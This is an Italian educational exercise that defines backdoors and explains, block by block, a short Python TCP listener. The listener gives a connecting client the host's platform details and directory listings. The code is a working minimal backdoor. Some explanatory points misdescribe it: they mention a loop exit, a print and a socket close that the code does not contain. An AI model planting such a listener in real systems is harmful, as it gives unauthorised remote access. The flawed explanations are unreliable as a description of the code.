# BACKDOOR

Una backdoor (o porta di servizio) è un metodo per aggirare le normali procedure di autenticazione in un sistema informatico, un'applicazione o una rete, permettendo l'accesso al sistema senza dover passare attraverso le consuete misure di sicurezza. Le backdoor possono essere create intenzionalmente o installate da software dannosi.

Gli scopi della backdoor possono essere legittimi o malintenzionati. Nel caso di quelli legittimi, la backdoor può essere utilizzata in fase di sviluppo per scopi di debug o per fornire assistenza tecnica. Mentre nel caso di quelli malintenzionali vengono utilizzati per mantenere l'accesso ad un sistema compromesso senza essere rilevati.

L'esercizio di oggi consiste nel commentare/spiegare questo codice che fa riferimento ad una backdoor.

```
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

Nel caso di questa back door, dividendola in blocchi, possiamo notare che:

1. **MODULI:** Vengono inserite l'accesso alle funzionalità di rete, necessarie per creare un server TCP, la possibilità di accedere alle informazioni sulla piattaforma e le funzioni per interagire con il sistema operativo.
2. **PORTA DEL SERVER:** Per quanto riguarda la seconda stringa e la terza, vengono inserite con lo scopo di lasciare il server in ascolto su tutte le interfacce di rete disponibili per poi essere stata specificata la porta su cui il server ascolterà le connessioni in ingresso.
3. **SOCKET:** Viene chiesto di creare un nuovo socket TCP/IP, assegnando l'indirizzo e la porta del socket. Il socket rimane in ascolto permettendo una connessione in coda. Per poi indicare che il server sta ascoltando stampando il messaggio corrispondente.
4. **CONNESSIONE DEL CLIENT**: Questa parte di codice attende una connessione in arrivo e restituisce un nuovo socket e l'indirizzo del client. Stamperà poi un messaggio con l'indirizzo del client connesso.
5. **WHILE TRUE:** In qusta parte inizia un loop infinito per mantenere il server in esecuzione, ricevendo fino a 1024 byte di dati. Se non ci sono dati ricevuti, il programma uscirà dal loop altrimenti continuerà.
6. **IF:** If controlla se il comando è 1, ottiene informazioni sul sistema operativo e l'architettura della macchina per poi inviare queste informazioni al client.
7. **ELIF 2:** Questa parte di codice controlla il 2, ricevendo un percorso di directory dal client e decodificando. Otterrà la lista dei file nella directory specificata. Concatena i nomi dei file in una stringa e gestisce eventuali errori
8. **ELIF 0**: Questa parte serve per chiudere la connessione corrente con il client, attendendo e accettando una nuova connessione
9. **CLOSE:** Infine abbiamo la chiusura del socket del server che viene eseguita solo se il loop principale si interrompe.